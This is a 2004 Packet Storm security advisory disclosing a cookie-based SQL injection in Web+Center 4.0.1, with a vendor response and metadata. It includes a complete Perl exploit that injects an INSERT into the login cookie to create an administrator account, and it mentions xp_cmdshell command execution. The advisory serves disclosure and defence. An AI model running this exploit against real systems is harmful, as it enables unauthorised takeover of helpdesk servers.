ID PACKETSTORM:33868 Type packetstorm Reporter Noam Rathaus Modified 2004-07-24T00:00:00
Description
`*Internet Software Sciences's Web+Center SQL Injection*
*Summary*
Internet Software Sciences's Web+Center is "A suite of web based
customer support applications including:
* Customer+Center
* Tech+Center
* Business+Center
* Pocket+Center".
The Web+Center does a good job of filtering out malicious content from
incoming user provided data (given via GET and POST requests), however
neglects to verify whether malicious data is entered via the Cookie
object. Due to this at least one exploitable SQL Injection vulnerability
that would allow an anonymous user to at the very least gain
administrative privileges to the Internet Software Sciences's Web+Center
product, at the worst case he will be able to get complete control over
(administrative privileges) the computer on which the Internet Software
Sciences's Web+Center is installed and utilize it to gain access to
other computers.
*Details*
*Vulnerable Systems:*
* Internet Software Sciences's Web+Center version 4.0.1
As a lot of pages use the Cookie object, but some require a user to
logon prior to been able to access the page, we have chosen to show the
vulnerability via the search.asp page found under the tech40 directory.
Other directories also contain such vulnerable pages, customer40's
DoCustomerOptions.asp one such example.
If we insert a malicious SQL statement to the Cookie object, we can
modify the 'tech_staff' table, and add a new user that will have the
permissions of as an operator (tech_level 6).
Depending on what other information is stored on the SQL server, and how
it was hardened we could obtain:
1) SQL's administrative username and password
2) Execute commands via MS SQL's extended procedure (xp_cmdshell)
3) Trick users into downloading Trojan horses (by providing them with
solutions for their Tickets) etc.
See the below exploit code demonstrating how we gain administrative
privileges to Internet Software Sciences's Web+Center, no special
information is required beside the hostname, and the path under which
the search.asp page can be located.
*Vendor response:*
/Our engineers has reviewed the security vulnerability and we are
working on a updated version of our cookie tech check code that will be
implemented in our next version. We had already planned to implement a
more modularized version of the tech security code, so it will be easy
to check for SQL injection strings in this new modularized code. Thanks
for pointing this out and to making our product more secure/.
*Testing Methodology:*
A few months ago Beyond Security built a new module for its Automated
Scanning Vulnerability Assessment engine to test web sites and web
applications for security vulnerabilities. This module adds the
capability to dynamically crawl through a web site and find
vulnerabilities in its dynamic pages.
This type of tool was considered to be different from the network VA
tools, but we at Beyond Security believe that these two types of tools
should be merged into one, and this is what made us incorporate the Web
Site Security Audit module to our Automated Scanning engine.
For a press release on this integration see:
http://www.beyondsecurity.com/press/2004/press10030402.htm
White paper on the first integrated network and web application
vulnerability scanner: http://www.beyondsecurity.com/webscan-wp.pdf
Our Automated Scanning engine equipped with the Web Site Security Audit
module did all the tests described in this advisory automatically.
*Exploit:*
#!/usr/bin/perl
use IO::Socket;
use strict;
my $host = $ARGV[0];
my $Path = $ARGV[1];
if (($#ARGV+1) < 2)
{
print "iss_helpdesk.pl host path\n";
exit(0);
}
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );
unless ($remote) { die "cannot connect to http daemon on $host" }
my $sql = "; INSERT INTO tech_staff (tech_id, tech_password, tech_level,
first_name, last_name, availability, show_dispatch_flag) VALUES
('Hacked', 'Hacked', 6, 'Hacked', 'Hacked', 1, 1); --";
$sql =~s/([^a-zA-Z0-9])/uc sprintf("%%%02x",ord($1))/eg;
my $http = "GET /$Path/search.asp HTTP/1.1
Host: $host
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6)
Gecko/20040405 Firefox/0.8
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Cookie: ISS_TECH_CENTER_LOGIN='+$sql;
";
print "HTTP: [$http]\n";
print $remote $http;
sleep(1);
while (<$remote>)
{
# print $_;
}
print "\n";
close($remote);
print "You can now logon using the tech username 'Hacked' with the
password 'Hacked'\n";
exit(0);
*Additional information*
The information has been provided by Noam Rathaus
`
{"id": "PACKETSTORM:33868", "type": "packetstorm", "bulletinFamily": "exploit", "title": "webcenterSQL.txt", "description": "", "published": "2004-07-24T00:00:00", "modified": "2004-07-24T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/33868/webcenterSQL.txt.html", "reporter": "Noam Rathaus", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:21:38", "viewCount": 12, "enchantments": {"score": {"value": -0.3, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": -0.3}, "sourceHref": "https://packetstormsecurity.com/files/download/33868/webcenterSQL.txt", "sourceData": "`*Internet Software Sciences's Web+Center SQL Injection* \n \n*Summary* \nInternet Software Sciences's Web+Center is \"A suite of web based \ncustomer support applications including: \n* Customer+Center \n* Tech+Center \n* Business+Center \n* Pocket+Center\". \n \nThe Web+Center does a good job of filtering out malicious content from \nincoming user provided data (given via GET and POST requests), however \nneglects to verify whether malicious data is entered via the Cookie \nobject. Due to this at least one exploitable SQL Injection vulnerability \nthat would allow an anonymous user to at the very least gain \nadministrative privileges to the Internet Software Sciences's Web+Center \nproduct, at the worst case he will be able to get complete control over \n(administrative privileges) the computer on which the Internet Software \nSciences's Web+Center is installed and utilize it to gain access to \nother computers. \n \n*Details* \n*Vulnerable Systems:* \n* Internet Software Sciences's Web+Center version 4.0.1 \n \nAs a lot of pages use the Cookie object, but some require a user to \nlogon prior to been able to access the page, we have chosen to show the \nvulnerability via the search.asp page found under the tech40 directory. \n \nOther directories also contain such vulnerable pages, customer40's \nDoCustomerOptions.asp one such example. \n \nIf we insert a malicious SQL statement to the Cookie object, we can \nmodify the 'tech_staff' table, and add a new user that will have the \npermissions of as an operator (tech_level 6). \n \nDepending on what other information is stored on the SQL server, and how \nit was hardened we could obtain: \n1) SQL's administrative username and password \n2) Execute commands via MS SQL's extended procedure (xp_cmdshell) \n3) Trick users into downloading Trojan horses (by providing them with \nsolutions for their Tickets) etc. \n \nSee the below exploit code demonstrating how we gain administrative \nprivileges to Internet Software Sciences's Web+Center, no special \ninformation is required beside the hostname, and the path under which \nthe search.asp page can be located. \n \n*Vendor response:* \n/Our engineers has reviewed the security vulnerability and we are \nworking on a updated version of our cookie tech check code that will be \nimplemented in our next version. We had already planned to implement a \nmore modularized version of the tech security code, so it will be easy \nto check for SQL injection strings in this new modularized code. Thanks \nfor pointing this out and to making our product more secure/. \n \n*Testing Methodology:* \nA few months ago Beyond Security built a new module for its Automated \nScanning Vulnerability Assessment engine to test web sites and web \napplications for security vulnerabilities. This module adds the \ncapability to dynamically crawl through a web site and find \nvulnerabilities in its dynamic pages. \n \nThis type of tool was considered to be different from the network VA \ntools, but we at Beyond Security believe that these two types of tools \nshould be merged into one, and this is what made us incorporate the Web \nSite Security Audit module to our Automated Scanning engine. \n \nFor a press release on this integration see: \nhttp://www.beyondsecurity.com/press/2004/press10030402.htm \nWhite paper on the first integrated network and web application \nvulnerability scanner: http://www.beyondsecurity.com/webscan-wp.pdf \n \nOur Automated Scanning engine equipped with the Web Site Security Audit \nmodule did all the tests described in this advisory automatically. \n \n*Exploit:* \n#!/usr/bin/perl \n \nuse IO::Socket; \nuse strict; \n \nmy $host = $ARGV[0]; \nmy $Path = $ARGV[1]; \n \nif (($#ARGV+1) < 2) \n{ \nprint \"iss_helpdesk.pl host path\\n\"; \nexit(0); \n} \n \nmy $remote = IO::Socket::INET->new ( Proto => \"tcp\", PeerAddr => $host, \nPeerPort => \"80\" ); \n \nunless ($remote) { die \"cannot connect to http daemon on $host\" } \n \nmy $sql = \"; INSERT INTO tech_staff (tech_id, tech_password, tech_level, \nfirst_name, last_name, availability, show_dispatch_flag) VALUES \n('Hacked', 'Hacked', 6, 'Hacked', 'Hacked', 1, 1); --\"; \n \n$sql =~s/([^a-zA-Z0-9])/uc sprintf(\"%%%02x\",ord($1))/eg; \n \nmy $http = \"GET /$Path/search.asp HTTP/1.1 \nHost: $host \nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) \nGecko/20040405 Firefox/0.8 \nAccept: \ntext/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1 \nAccept-Language: en-us,en;q=0.5 \nAccept-Encoding: gzip,deflate \nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 \nConnection: close \nCookie: ISS_TECH_CENTER_LOGIN='+$sql; \n \n\"; \n \nprint \"HTTP: [$http]\\n\"; \nprint $remote $http; \nsleep(1); \n \nwhile (<$remote>) \n{ \n# print $_; \n} \nprint \"\\n\"; \n \nclose($remote); \n \nprint \"You can now logon using the tech username 'Hacked' with the \npassword 'Hacked'\\n\"; \n \nexit(0); \n \n*Additional information* \nThe information has been provided by Noam Rathaus \n`\n", "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645355108}}